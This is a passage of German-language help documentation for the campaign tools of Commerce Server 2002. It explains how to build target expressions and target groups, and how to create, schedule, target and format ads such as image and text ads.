      Wenn Sie Benutzerobjekt auswählen, wird eine Dropdownliste mit Eigenschaftsgruppen von Benutzerobjekten angezeigt. Wählen Sie die Eigenschaftsgruppe für das Benutzerobjekt aus, und wählen Sie dann den Typ des Benutzerobjekts aus, das Sie in dem Ausdruck verwenden möchten.

      Wenn Sie Zielgruppenadressierungs-Kontext auswählen, werden die Eigenschaft Seitengruppe sowie weitere Eigenschaften, die für das Profil des Zielgruppenadressierungs-Kontextes erstellt wurden, angezeigt. Wählen Sie die Eigenschaft aus, die Sie in diesem Ausdruck verwenden möchten. Informationen zum Erstellen neuer Eigenschaften finden Sie unter Hinzufügen von Eigenschaften zu einer Profildefinition.

      Wenn Sie Bewertungsspezifikationen wählen, müssen Sie den Zeitrahmen auswählen, den Sie in diesem Ausdruck verwenden möchten.

      Wenn Sie Ausdrücke auswählen, wird das Dialogfeld Wählen Sie einen Ausdruck angezeigt. Wählen Sie in der Liste von Ausdrücken den gewünschten Ausdruck aus, und klicken Sie dann auf OK.

      Die Ausdrücke werden nur angezeigt, wenn sie vor dem Öffnen des Dialogfelds Zielausdrücke erstellt wurden.

    • Zweites Feld: Wählen Sie einen neuen Operatortyp in der Dropdownliste mit den verfügbaren Typen für den Ausdruck aus.
    • Drittes Feld: Geben Sie die Eigenschaft oder den Wert ein, der durch den Ausdruck ausgewertet werden soll.

    Hinweis

    • Wenn in Kampagnenausdrücken mehrere Werte eingegeben werden sollen, müssen diese durch Semikolons (;) voneinander getrennt werden. Verwenden Sie kein Komma, da dieses nicht als Trennzeichen erkannt wird. Als Escapezeichen zur Darstellung von Semikolons wird ein umgekehrter Schrägstrich (\) verwendet. Beispielsweise können Sie einen Wert wie ABC;12 als ABC\;12 eingeben.

      So könnte beispielsweise über den Ausdruck Bundesland (Produkteigenschaft) ist gleich (Operator) CA (Zeichenfolge) festgelegt werden, dass ein Preisnachlass nur den Kunden gewährt wird, die in Kalifornien leben.

  5. Klicken Sie auf Übernehmen.

    Der neue Zielausdruck wird dem Feld Ziel basiert auf den folgenden Bedingungen hinzugefügt.

    Hinweis

    • Führen Sie die Schritte 3 bis 5 erneut aus, und wählen Sie dabei entweder Und oder Oder in der Dropdownliste aus, um dem erstellten Katalogausdruck weitere Bedingungen hinzuzufügen.
  6. Klicken Sie auf Speichern, um den Zielausdruck zu speichern und zum Bildschirm Kampagnenausdrücke: Zielausdrücke zurückzukehren.

Der Ausdruck wird dem Bildschirm Kampagnenausdrücke: Zielausdrücke hinzugefügt. Sie können nun mehrere Zielausdrücke zu einer Zielgruppe für Anzeigen und Preisnachlässe zusammenfassen.

So wählen Sie eine bestimmte Zielsprache

  1. Klicken Sie im Menü Kampagnen auf Kampagnenausdrücke.
  2. Klicken Sie im Bildschirm Kampagnenausdrücke: Zielausdrücke auf Ansicht. Wählen Sie dann in der Dropdownliste die Option Zielausdrücke.
  3. Klicken Sie im Bildschirm Kampagnenausdrücke: Zielausdrücke auf der Symbolleiste auf Hinzufügen.
  4. Führen Sie im Dialogfeld Zielausdruck folgende Schritte aus:
    Funktion | Aktion
    Name | Geben Sie einen Namen für den neuen Zielausdruck ein.
    Beschreibung Geben Sie eine Beschreibung für den neuen Zielausdruck ein. Klicken Sie anschließend auf Neu.

    Das erste der drei Eingabefelder im Gruppenfeld Ziel basiert auf den folgenden Bedingungen ist aktiviert, d. h. Sie können Teilausdrücke auswählen bzw. eingeben.
    Ziel basiert auf den folgenden Bedingungen
    • Erstes Feld: Wählen Sie Benutzerobjekt und Allgemeine Informationen, blättern Sie nach unten, und wählen Sie dann Standardsprache.
    • Zweites Feld: Wählen Sie als Operatortyp in der Dropdownliste die Option ist gleich.
    • Drittes Feld: Klicken Sie auf die Schaltfläche mit den Auslassungspunkten [...]. Wählen Sie im Dialogfeld Wählen Sie einen Sitebegriff aus: aus der Liste der Sitebegriffe die gewünschte Zielsprache aus, und klicken Sie dann auf OK.
  5. Klicken Sie auf Übernehmen.

    Der neue Zielausdruck wird dem Feld Ziel basiert auf den folgenden Bedingungen hinzugefügt.

    Hinweis

    • Führen Sie die Schritte 3 bis 5 erneut aus, und wählen Sie dabei entweder Und oder Oder in der Dropdownliste aus, um dem erstellten Katalogausdruck weitere Bedingungen hinzuzufügen.
  6. Klicken Sie auf Speichern, um den Zielausdruck zu speichern und zum Bildschirm Kampagnenausdrücke: Zielausdrücke zurückzukehren.

Der Ausdruck wird dem Feld Zielausdrücke hinzugefügt. Sie können nun mehrere Zielausdrücke zu einer Zielgruppe für Anzeigen und Preisnachlässe zusammenfassen.

Siehe auch

Erstellen einer Anzeige

Erstellen einer Zielgruppe

Ausdrucksbasierte Zielgruppenadressierung


Erstellen einer Zielgruppe

Im Zielgruppenmodul führen Sie mehrere Ausdrücke zusammen, um so eine Anzeige zu übermitteln oder einer Benutzergruppe einen Preisnachlass zu gewähren. Sie können festlegen, ob bestimmte Benutzer in eine Gruppe aufgenommen oder aus einer Gruppe ausgeschlossen werden sollen. So können Sie beispielsweise festlegen, dass eine Zielgruppe von Tierhaltern alle Katzenhalter, nicht jedoch Hundehalter umfasst, indem Sie auf die Zielausdrücke bestimmte Aktionen anwenden. Beim Festlegen der Zielgruppen wird mithilfe von Geschäftsregeln festgelegt, welcher Benutzergruppe Sie Ihre Anzeigen übermitteln oder Preisnachlässe gewähren.

Ausdrücke werden in einer Zielgruppe durch Angabe der Aktion kombiniert, die ausgeführt werden soll, wenn der Ausdruck als "Wahr" ausgewertet wird. Jede Aktion verfügt über zwei Multiplikatoren: Einer wird angewendet, wenn der Ausdruck wahr ist; der andere, wenn der Ausdruck falsch ist. Wenn der Multiplikator angewendet wird, erhält der Ausdruck ein Ergebnis. Dieses bestimmt, ob die Inhalte geliefert werden können.

Sie können folgende Aktionen definieren:

Aktion | Aktion
Ziel | Die Zielaktion kann verwendet werden, wenn für die Eigenschaft nur eine begrenzte Auffüllung verfügbar ist, der Benutzer jedoch viele Anforderungen kaufen möchte. Wenn der Ausdruck als "Wahr" ausgewertet wird, wird der Ergebniswert erhöht. Dadurch erhöht sich auch die Wahrscheinlichkeit dafür, dass die Inhalte angezeigt werden. Falls der Ausdruck zu "Falsch" ausgewertet wird, ändert sich der Ergebniswert nicht. In beiden Fällen können die Inhalte geliefert werden.
Sponsor | In der Site wird ausschließlich die der Zielgruppe zugeordnete Anzeige angezeigt. Bei Auswertung des Ausdrucks als "Wahr" können die Inhalte geliefert werden. Weitere Inhalte können nur geliefert werden, wenn es für diese einen Ausdruck mit der Aktion = Sponsor gibt. (Sponsor besitzt nur einen Multiplikator.)
Erforderlich | Die durch den Zielausdruck gekennzeichnete Benutzergruppe wird in die Zielgruppe aufgenommen. Bei Auswertung des Ausdrucks als "Wahr" können die Inhalte geliefert werden. Wird der Ausdruck als "Falsch" ausgewertet, können die Inhalte nicht geliefert werden.
Ausschließen | Die durch den Zielausdruck gekennzeichnete Benutzergruppe wird aus der Zielgruppe ausgeschlossen. Bei Auswertung des Ausdrucks als "Wahr" können die Inhalte nicht geliefert werden. Wird der Ausdruck dagegen als "Falsch" ausgewertet, können die Inhalte geliefert werden.

So erstellen Sie eine neue Zielgruppe

  1. Klicken Sie im Menü Kampagnen auf Zielgruppe.
  2. Klicken Sie im Bildschirm Zielgruppe auf der Symbolleiste auf Hinzufügen.
  3. Führen Sie im Bildschirm Zielgruppe: Neu folgende Schritte aus:
    Funktion | Aktion
    Zielgruppenname | Geben Sie den Namen für die neue Zielgruppe ein.
    Ausdruck Wählen Sie den Ausdruck in der Dropdownliste aus, anhand dessen die neue Zielgruppe erstellt werden soll.

    Wenn Sie einen neuen Ausdruck erstellen möchten, klicken Sie auf die Schaltfläche Neuen Ausdruck erstellen. Informationen über das Erstellen von Zielausdrücken finden Sie unter Erstellen eines Zielausdrucks.
    Aktion Wählen Sie eine Aktion für die neue Zielgruppe in der Dropdownliste aus.

    Folgende Aktionen sind verfügbar:

    • Ziel
    • Sponsor
    • Erforderlich
    • Ausschließen

    Vorsicht

    • Über die Aktionen Erforderlich und Ausschließen wird verhindert, dass Anzeigen auch Benutzern mit der ausgeschlossenen Eigenschaft angezeigt werden. Verfügt ein Benutzer nicht über die erforderliche oder ausgeschlossene Eigenschaft, wird die Anzeige nicht übermittelt. Erstellen Sie beispielsweise eine Zielgruppe, bei der alle Hotmail-Benutzer ausgeschlossen sind, werden auch alle Benutzer ausgeschlossen, für die kein E-Mail-Konto angegeben ist. Daher gilt, dass allen Benutzern die über ein E-Mail-Konto jedoch über kein Hotmail-Konto verfügen, die Anzeige übermittelt wird.
  4. Klicken Sie auf Annehmen.
  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Zielgruppe zu speichern und zum Bildschirm Zielgruppe zurückzukehren.

Die neue Zielgruppe ist in der Liste der verfügbaren Zielgruppen gespeichert. Sie können die Zielgruppe nun dazu verwenden, um Anzeigen und Preisnachlässe an bestimmte Benutzergruppen zu übermitteln.

Siehe auch

Erstellen einer Anzeige

Erstellen eines Preisnachlasses

Erstellen von Kampagnenausdrücken

Erstellen eines Zielausdrucks


Erstellen einer Anzeige

Das Content Selection Framework (CSF) verarbeitet die Variablen, die Sie für eine Anzeige angeben: Kampagnenzielfestlegung, Anzeigelimit, Zeitplan, Gewichtung, Seitengruppen und Zielgruppen. Das CSF bestimmt bei jedem Besucher Ihrer Site, ob die Anzeige angezeigt werden soll oder nicht. Informationen über das CSF finden Sie unter Content Selection Framework Concepts (englisches Thema).

Anzeigen werden erstellt, um einen Zeitplan für die Lieferung der Ankündigungen festzulegen. Normalerweise verfügt ein Anzeigenkampagnenartikel über eine Zielfestlegung für die Übermittlung sowie über Datumsbereiche und Zielattribute. Wenn Sie eine Anzeige erstellt haben, können Sie für die Anzeige einen Zeitplan festlegen, angeben, auf welchen Seiten die Anzeige geschaltet werden soll, und als Ziel für die Anzeige eine Benutzergruppe bestimmen. Sie können auch die Anzeigendarstellung festlegen. So können Sie beispielsweise angeben, ob Ihre Anzeige aus Text und Bildern besteht oder ob es sich um eine reine Textanzeige handeln soll. Wenn Sie das Erscheinungsbild Ihrer Anzeige festgelegt haben, können Sie sie in der Vorschau anzeigen.

Wenn Sie Anzeigen in mehreren Sprachen verwenden möchten, müssen Sie für jede Sprache eine separate Anzeige erstellen.

Dieser Abschnitt beinhaltet folgende Themen:

  • Hinzufügen von Anzeigeneigenschaften
  • Planen einer Anzeige
  • Zielgruppenadressierung einer Anzeige an eine Seitengruppe
  • Zielgruppenadressierung einer Anzeige an eine Benutzergruppe
  • Festlegen der Anzeigendarstellung
  • Vorschau einer Anzeige
  • Kopieren einer Anzeige


Hinzufügen von Anzeigeneigenschaften

Das Modul "Kampagnen-Manager" ermöglicht das Erstellen von Anzeigen für eine bestimmte Kampagne. Sie können den Typ der Anzeige festlegen. Sie können in Abhängigkeit vom Zeitplan für den Bereitstellungsbedarf entweder eine bezahlte Anzeige oder Eigenwerbung auswählen. Darüber hinaus kann festgelegt werden, wie oft Benutzern innerhalb einer Sitzung ein bestimmter Inhalt angezeigt werden kann. Um zu verhindern, dass zwei Anzeigen konkurrierender Unternehmen einer Branche auf derselben Seite angezeigt werden, kann der Anzeige eine Branche zugeordnet werden.

So erstellen Sie eine Anzeige

So richten Sie die Anzeigendarstellung ein

So erstellen Sie eine Anzeige

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Blenden Sie im Bildschirm Kampagnen-Manager den Kunden ein, für den Sie eine neue Anzeige erstellen möchten. Wählen Sie die Kampagne aus, für die Sie eine neue Anzeige erstellen möchten, und klicken Sie auf der Symbolleiste auf Hinzufügen. Wählen Sie dann in der Dropdownliste den Eintrag Neue Anzeige aus.
  3. Führen Sie im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Neu (Anzeige) im Bereich Anzeigeneigenschaften folgende Schritte aus:
    Funktion | Aktion
    Anzeigenname Geben Sie den Anzeigennamen ein.

    Um zwischen Eigenwerbung und bezahlten Anzeigen unterscheiden zu können, sollten Sie für diese beiden Anzeigentypen eine klare Namenskonvention verwenden. Sie können z. B. Businessbücher_EW für Eigenwerbung und Business-Software_BA für bezahlte Anzeigen verwenden.

    Hinweis

    • Beachten Sie bei mehrsprachigen Anzeigen, dass der Anzeigenname auf 50 Zeichen begrenzt ist.
    Status Wählen Sie den Anzeigenkampagnenstatus in der Dropdownliste aus.

    Der Status kann entweder Aktiv oder Inaktiv sein.
    Gelöscht Schreibgeschütztes Feld.

    In diesem Feld wird angezeigt, ob die Anzeige gelöscht wurde. Weitere Informationen zum Löschen und Wiederherstellen von Kampagnenartikeln finden Sie unter Löschen und Wiederherstellen eines Kampagnenartikels.
    Typ Wählen Sie den gewünschten Anzeigentyp aus.

    Der Typ kann entweder Bezahlte Anzeige oder Eigenwerbung sein. Informationen über das Wechseln zwischen bezahlten Anzeigen und Eigenwerbung finden Sie unter Wechseln zwischen bezahlten Anzeigen und Eigenwerbung.
    Gewichtung für Anforderungen oder Klicks Wenn das Kampagnenziel auf Kampagnenebene gesetzt ist, wählen Sie Gewichtung für den Typ Eigenwerbung oder den Typ Bezahlte Anzeige aus.

    Wenn das Kampagnenziel auf Werbeartikelebene nach Anforderungen gesetzt ist, gehen Sie folgendermaßen vor:

    • Wenn Sie als Anzeigentyp Bezahlte Anzeige gewählt haben, geben Sie die entsprechende Zahl der Anzeigenanforderungsziele an.
    • Wenn Sie als Anzeigentyp Eigenwerbung gewählt haben, geben Sie den Wert für die Gewichtung der Eigenwerbung ein. Eigenwerbung hat die Standardgewichtung 1.

    Wenn das Kampagnenziel auf Werbeartikelebene nach Klicks gesetzt ist, gehen Sie folgendermaßen vor:

    • Wenn Sie als Anzeigentyp Bezahlte Anzeige gewählt haben, geben Sie die entsprechende Zahl der Klickziele an.
    • Wenn Sie als Anzeigentyp Eigenwerbung gewählt haben, geben Sie den Wert für die Gewichtung der Eigenwerbung ein. Eigenwerbung hat die Standardgewichtung 1.
    Anzeigelimit Wählen Sie in der Dropdownliste aus, wie oft eine Anzeige einem Benutzer in einer Sitzung angezeigt werden kann.

    Die Höchstzahl für eine Sitzung ist zehn, d. h., eine Anzeige kann einem Benutzer maximal zehnmal angezeigt werden.
    Erhalten am Dieses Feld enthält als Vorgabe das aktuelle Datum. Geben Sie das Datum ein, an dem die Anzeige geschaltet wird, oder wählen Sie es im Dropdownkalender aus.

    Nachdem die Anzeige gespeichert worden ist, kann das Datum nicht mehr geändert werden.

    Branche | Wählen Sie die auf die Anzeige zutreffende Branche aus.
    Kommentare | Geben Sie ggf. erforderliche Kommentare zu dieser Anzeige ein.

Hinweis

  • Sie müssen die Anzeigendarstellung einrichten, bevor Sie die Anzeige speichern können.

So richten Sie die Anzeigendarstellung ein

  1. Führen Sie im Bereich Anzeigendarstellung folgende Schritte aus:
    Funktion | Aktion
    Größe | Wählen Sie in der Dropdownliste die Inhaltsgröße der Anzeige aus.
    Typ | Wählen Sie in der Dropdownliste den Anzeigentyp aus.

    Hinweis

    • Abhängig vom ausgewählten Anzeigentyp werden unterhalb des Feldes Inhaltstyp unterschiedliche Felder angezeigt. Sie müssen im Bereich Anzeigendarstellung die erforderlichen Informationen eingeben, bevor Sie die Anzeige speichern können. Weitere Informationen zum Festlegen des Erscheinungsbildes von Anzeigenkampagnen für die verschiedenen Anzeigentypen finden Sie unter Einrichten eines Anzeigentyps.
  2. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Anzeige zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Die neue Anzeige wird in der Baumstruktur des Kampagnen-Managers unterhalb des angegebenen Kunden bzw. der angegebenen Kampagne angezeigt.

Wichtig

  • Alle an einer Anzeige vorgenommenen Änderungen müssen vor ihrer Anzeige in der Website in der Produktionssite veröffentlicht werden. Informationen zum Veröffentlichen von Änderungen in Ihrer Website finden Sie unter Veröffentlichen von Kampagnenänderungen in der Website.

Wechseln zwischen bezahlten Anzeigen und Eigenwerbung

Bezahlte Anzeigen sind Inhalte, die auf der Grundlage eines Zeitplans für den Bereitstellungsbedarf zur Verfügung gestellt werden. Eigenwerbung bezeichnet Inhalte, die angezeigt werden, wenn der geplante Bereitstellungsbedarf für bezahlte Anzeigen bereits erfüllt ist.

In bestimmten Situationen kann es erforderlich sein, zwischen einer bezahlten Anzeige und Eigenwerbung (ggf. auch umgekehrt) zu wechseln. Angenommen, Sie haben einen Kunden, der mehr Anzeigen bereitgestellt haben möchte, als er bezahlen kann, sodass Sie ihm die Bereitstellung einer Teilmenge der Anzeigen garantieren. Die von Ihnen erstellten und in der Website bereitgestellten Anzeigen bzw. Preisnachlässe werden nicht angezeigt. Wenn dieser Kunde nun aber einen Preisnachlass für die nicht garantierte Anzeige verlangt, ändern Sie die bezahlte Anzeige zum Ende des garantierten Zeitraums in eine Eigenwerbung. Die Anzeigenanforderungen für die Eigenwerbung werden automatisch wieder auf null gesetzt. Wenn Sie die Anzeige wieder in eine bezahlte Anzeige umwandeln möchten, müssen Sie den Zeitplan manuell anpassen, indem Sie die Anzahl der gewünschten Anzeigenanforderungen erneut eingeben.

Siehe auch

Hinzufügen einer Kampagne

Hinzufügen von Branchencodes

Festlegen von Inhaltsgrößen

Festlegen der Anzeigendarstellung

Planen einer Anzeige

Zielgruppenadressierung einer Anzeige an eine Seitengruppe

Zielgruppenadressierung einer Anzeige an eine Benutzergruppe


Planen einer Anzeige

Wenn Sie einen neuen Kampagnenartikel für eine Anzeige erstellt haben, können Sie Anfangs- und Beendigungsdatum für diese Anzeige festlegen. Sie können das Beendigungsdatum für die Anzeige ändern, während die Anzeige geschaltet ist. Sie können beispielsweise einen Tag hinzufügen oder abziehen. Der Bereitstellungsbedarf wird dann auf der Grundlage der verbleibenden Menge und der verbleibenden Zeit neu berechnet.

So planen Sie eine Anzeige

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Blenden Sie im Bildschirm Kampagnen-Manager den Kunden und anschließend die Kampagne ein, für die die Anzeige erstellt wurde. Wählen Sie die Anzeige aus, für die Sie einen Zeitplan erstellen möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  3. Führen Sie im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Anzeigenkampagnenartikel (Anzeigen-ID: Nummer) im Bereich Anzeigenzeitplan folgende Schritte aus:
    Funktion | Aktion
    Anfangsdatum | Geben Sie das Datum ein, an dem die Anzeige starten soll, oder wählen Sie es im Dropdownkalender aus.
    Beendigungsdatum | Geben Sie das Datum ein, an dem die Anzeige enden soll, oder wählen Sie es im Dropdownkalender aus.
    Tage | Markieren Sie die Wochentage, an denen die Anzeige geschaltet werden soll.
    Anfangszeit | Geben Sie die Uhrzeit ein, zu der die Anzeige starten soll (basierend auf der Systemuhr des Servers), oder wählen Sie sie in der Dropdownliste aus.
    Beendigungszeit | Geben Sie die Uhrzeit ein, zu der die Anzeige enden soll (basierend auf der Systemuhr des Servers), oder wählen Sie sie in der Dropdownliste aus.

    Hinweise

    • Wenn Sie die Anfangszeit auf eine spätere Zeit als die Beendigungszeit einstellen, startet die Anzeige zu diesem späteren Zeitpunkt und läuft bis zur Beendigungszeit. Wenn z. B. als Anfangszeit 11:00 Uhr und als Beendigungszeit 9:00 Uhr festgelegt wird, wird die Anzeige 22 Stunden lang geschaltet.
    • Wenn für die Startzeit und für die Beendigungszeit dieselbe Uhrzeit festgelegt wird, wird die Anzeige 24 Stunden lang geschaltet.
  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Anzeige zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Der Zeitplan wird mit der Anzeige gespeichert.

Wichtig

  • Alle an einer Anzeige vorgenommenen Änderungen müssen vor ihrer Anzeige in der Website in der Produktionssite veröffentlicht werden. Informationen zum Veröffentlichen von Änderungen in Ihrer Website finden Sie unter Veröffentlichen von Kampagnenänderungen in der Website.

Siehe auch

Kampagnenzielfestlegung

Erstellen einer Anzeige


Zielgruppenadressierung einer Anzeige an eine Seitengruppe

Sie können festlegen, ob eine Anzeige auf allen Seiten der Website oder nur auf den ihr zugeordneten Seitengruppen angezeigt wird. Über Seitengruppen kann festgelegt werden, auf welchen Webseiten eine Anzeige angezeigt wird. Handelt es sich bei Ihrer Website beispielsweise um eine Onlinezeitung, könnten Sie z. B. eine Anzeige für Golfschläger ausschließlich auf Seiten im Sportbereich platzieren.

Anzeigen können auf allen Seitengruppen platziert werden. Es ist jedoch auch möglich, aus den im Referenztabellenmodul im Bereich Seitengruppen erstellten Seitengruppen eine oder mehrere Gruppen auszuwählen.

Hinweis

  • Damit eine Anzeige auf einer Seitengruppe angezeigt werden kann, müssen die entsprechenden Seiten vom Siteentwickler für Anzeigen aktiviert werden. Weitere Informationen zum Aktivieren einer Seite für Anzeigen finden Sie im Ad Sitelet-Beispiel im Commerce Server 2002 Software Development Kit.

So legen Sie die Zielgruppenadressierung einer Anzeige an eine Seitengruppe fest

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Blenden Sie im Bildschirm Kampagnen-Manager den Kunden und anschließend die Kampagne ein, für die die Anzeige erstellt wurde. Wählen Sie die Anzeige aus, für die Sie eine neue Seitengruppe erstellen möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  3. Führen Sie im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Anzeigenkampagnenartikel (Anzeigen-ID: Nummer) im Bereich Anzeigenziel folgende Schritte aus:
    Funktion | Aktion
    Auf allen Seitengruppen anzeigen Aktivieren Sie dieses Kontrollkästchen, um die Anzeige auf allen Seitengruppen der Website anzuzeigen.

    Um die Werbekampagne einer bestimmten Seitengruppe zuzuweisen, deaktivieren Sie das Kontrollkästchen, und befolgen Sie die weiteren Schritte in dieser Anleitung.
    Seitengruppen: Verfügbar | Wählen Sie die Seitengruppe(n) aus, die Sie zuweisen möchten.
    Zielgruppen: Verfügbar Wählen Sie die Zielgruppe(n) aus, die Sie zuweisen möchten.

    Informationen über Zielgruppen finden Sie unter Zielgruppen und Erstellen einer Zielgruppe.
  4. Klicken Sie auf Hinzufügen.

    Die ausgewählte Seite wird in das Feld Zugewiesen verschoben.

  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Anzeige zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Die Anzeige wird auf den ausgewählten Seitengruppen angezeigt.

Wichtig

  • Alle an einer Anzeige vorgenommenen Änderungen müssen vor ihrer Anzeige in der Website in der Produktionssite veröffentlicht werden. Informationen zum Veröffentlichen von Änderungen in Ihrer Website finden Sie unter Veröffentlichen von Kampagnenänderungen in der Website.

Siehe auch

Erstellen einer Anzeige

Hinzufügen von Seitengruppen


Zielgruppenadressierung einer Anzeige an eine Benutzergruppe

Zielgruppen sind Ausdrücke, die einer Aktion zugeordnet sind, um so eine bestimmte Benutzergruppe mit einer Anzeige zielgerichtet anzusprechen. Eine Zielgruppe kann mehrere Ausdrücke und Aktionen beinhalten. Sie können Zielgruppen erstellen, um bestimmte Benutzer in eine Gruppe einzuschließen oder um bestimmte Benutzer auszuschließen. Aus einer bestehenden Liste von Gruppen, die Sie mithilfe des Zielgruppenmoduls erstellt haben, können Sie eine Benutzergruppe als Ziel auswählen. Informationen über das Erstellen von Zielgruppen finden Sie unter Erstellen einer Zielgruppe.

So legen Sie die Zielgruppenadressierung einer Anzeige an eine Benutzergruppe fest

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Blenden Sie im Bildschirm Kampagnen-Manager den Kunden und anschließend die Kampagne ein, für die die Anzeige erstellt wurde. Wählen Sie die Anzeige aus, der Sie eine neue Zielgruppe zuweisen möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  3. Führen Sie im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Anzeigenkampagnenartikel (Anzeigen-ID: Nummer) im Bereich Anzeigenziel folgende Schritte aus:
    Funktion Aktion
    Zielgruppen: Verfügbar Wählen Sie die Zielgruppe(n) aus, die Sie zuweisen möchten.

    Informationen über Zielgruppen finden Sie unter Zielgruppen und Erstellen einer Zielgruppe.
  4. Klicken Sie auf Hinzufügen.

    Die Zielgruppe wird in das Feld Zugewiesen verschoben.

  5. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Anzeige zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Die Anzeige wird der ausgewählten Zielgruppe angezeigt.

Wichtig

  • Alle an einer Anzeige vorgenommenen Änderungen müssen vor ihrer Anzeige in der Website in der Produktionssite veröffentlicht werden. Informationen zum Veröffentlichen von Änderungen in Ihrer Website finden Sie unter Veröffentlichen von Kampagnenänderungen in der Website.

Siehe auch

Erstellen einer Anzeige

Erstellen eines Zielausdrucks

Erstellen einer Zielgruppe


Festlegen der Anzeigendarstellung

Sie können festlegen, auf welche Weise und mit welchem Erscheinungsbild Anzeigen den Benutzern angezeigt werden. So können Sie beispielsweise mit einer großen Anzeige auf Ihrer Homepage gezielte Werbung für Ihre Produkte machen. Zum Anzeigen einer Anzeige sind die folgenden zwei Schritte erforderlich: Diese Schritte setzen Folgendes voraus:

  • Festlegen der Größe einer Anzeige
  • Einrichten eines Anzeigentyps

Festlegen der Größe einer Anzeige

Commerce Server 2002 enthält eine Reihe von standardmäßigen Inhaltsgrößen, die Sie für Ihre Anzeigen verwenden können. Außerdem können Sie eigene Inhaltsgrößen erstellen. Befolgen Sie sowohl für die Standardgrößen als auch für benutzerdefinierte Größen die folgenden Schritte, um für eine Anzeige eine Inhaltsgröße anzuwenden.

Hinweis

  • Verwenden Sie das Referenztabellenmodul, um benutzerdefinierte Inhaltsgrößen festzulegen. Informationen finden Sie unter Festlegen von Inhaltsgrößen.

So legen Sie die Größe einer Anzeige fest

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Blenden Sie im Bildschirm Kampagnen-Manager den Kunden und anschließend die Kampagne ein, für die die Anzeige erstellt wurde. Wählen Sie die Anzeige aus, deren Größe Sie festlegen möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Anzeigenkampagnenartikel (Anzeigen-ID: Nummer) im Feld Größe des Bereichs Anzeigendarstellung die gewünschte Anzeigengröße aus der Dropdownliste aus.

Sie haben die Inhaltsgröße für die Anzeige festgelegt. Nun können Sie den Anzeigentyp einrichten.

Einrichten eines Anzeigentyps

Für Ihre Anzeigenkampagne benötigen Sie möglicherweise einen bestimmten Anzeigentyp. So können Sie beispielsweise angeben, ob Ihre Anzeige ein Bild enthält oder ob es sich um eine reine Textanzeige handeln soll.

So richten Sie einen Anzeigentyp ein

  1. Klicken Sie im Menü Kampagnen auf Kampagnen-Manager.
  2. Blenden Sie im Bildschirm Kampagnen-Manager den Kunden und anschließend die Kampagne ein, für die die Anzeige erstellt wurde. Wählen Sie die Anzeige aus, für die Sie einen Anzeigentyp erstellen möchten, und klicken Sie dann auf der Symbolleiste auf Öffnen.
  3. Wählen Sie im Bildschirm Kampagnen-Manager – Kunde – Kampagne – Anzeigenkampagnenartikel (Anzeigen-ID: Nummer) im Feld Typ des Bereichs Anzeigendarstellung den gewünschten Anzeigentyp aus der Dropdownliste aus.

    Hinweis

    • Abhängig vom ausgewählten Anzeigentyp werden unterhalb des Feldes Typ unterschiedliche Felder angezeigt. Weitere Informationen zum Festlegen des Erscheinungsbildes von Anzeigenkampagnen für die verschiedenen Anzeigentypen finden Sie in den übrigen Anleitungsschritten dieses Abschnitts.

    Sie können folgende Typen von Anzeigen einrichten:

    Bildanzeige

    Textanzeige

    HTML-Anzeige

    Nicht anzuklickende Bildanzeige

    Jetzt-kaufen-Anzeige

    Windows Media Services-Anzeige

    Ausgerichtete Vignettenanzeige

  4. Klicken Sie auf der Symbolleiste auf Speichern und zurück, um die Anzeige zu speichern und zum Bildschirm Kampagnen-Manager zurückzukehren.

Die Anzeige wird mit der Kampagne gespeichert.

Wichtig

  • Alle an einem Preisnachlass vorgenommenen Änderungen müssen vor dessen Anzeige in der Website in der Produktionssite veröffentlicht werden. Informationen zum Veröffentlichen von Änderungen in Ihrer Website finden Sie unter Veröffentlichen von Kampagnenänderungen in der Website.

Bildanzeige

Sie können ein Anzeigenbild mit den Webseiten verknüpfen, auf denen die Anzeige platziert werden soll. Den Benutzern wird ein Bild angezeigt, wenn sie die Webseiten besuchen, auf denen die Anzeige platziert ist.

So richten Sie eine Bildanzeige ein

  • Führen Sie im Bereich Anzeigendarstellung folgende Schritte aus:
    Funktion | Aktion
    Größe | Wählen Sie die gewünschte Anzeigengröße aus.
    Typ | Wählen Sie den Typ Bild aus.
    Bild-URL Geben Sie den URL für das Bild ein, das in der Anzeige wiedergegeben werden soll.

    Hinweis

    Sie müssen einen absoluten URL eingeben, z. B. http://www.microsoft.com.

    Ziel-URL Geben Sie den URL ein, der mit der dargestellten Anzeige verknüpft ist.

    Hinweis

    Sie müssen einen absoluten URL eingeben, z. B. http://www.microsoft.com.
    Alternativer Text | Geben Sie den alternativen Text ein, den ein Benutzer sieht, wenn auf seinem Computer keine Grafik aktiviert ist.

Die Anzeige wird als Bildanzeige eingerichtet.

Textanzeige

Eine Textanzeige besteht ausschließlich aus Text. Den Benutzern wird der Text angezeigt, wenn sie die Webseiten besuchen, auf denen die Anzeige platziert ist.

So richten Sie eine Textanzeige ein

  • Führen Sie im Bereich Anzeigendarstellung folgende Schritte aus:
    Funktion | Aktion
    Größe | Wählen Sie die gewünschte Anzeigengröße aus.
    Typ | Wählen Sie die Option Text aus.
    Text | Geben Sie den Anzeigentext ein.
    Ziel-URL Geben Sie den URL ein, der mit der dargestellten Anzeige verknüpft ist.

    Hinweis

    Sie müssen einen absoluten URL eingeben, z. B. http://www.microsoft.com.

Die Anzeige wird als Textanzeige eingerichtet.

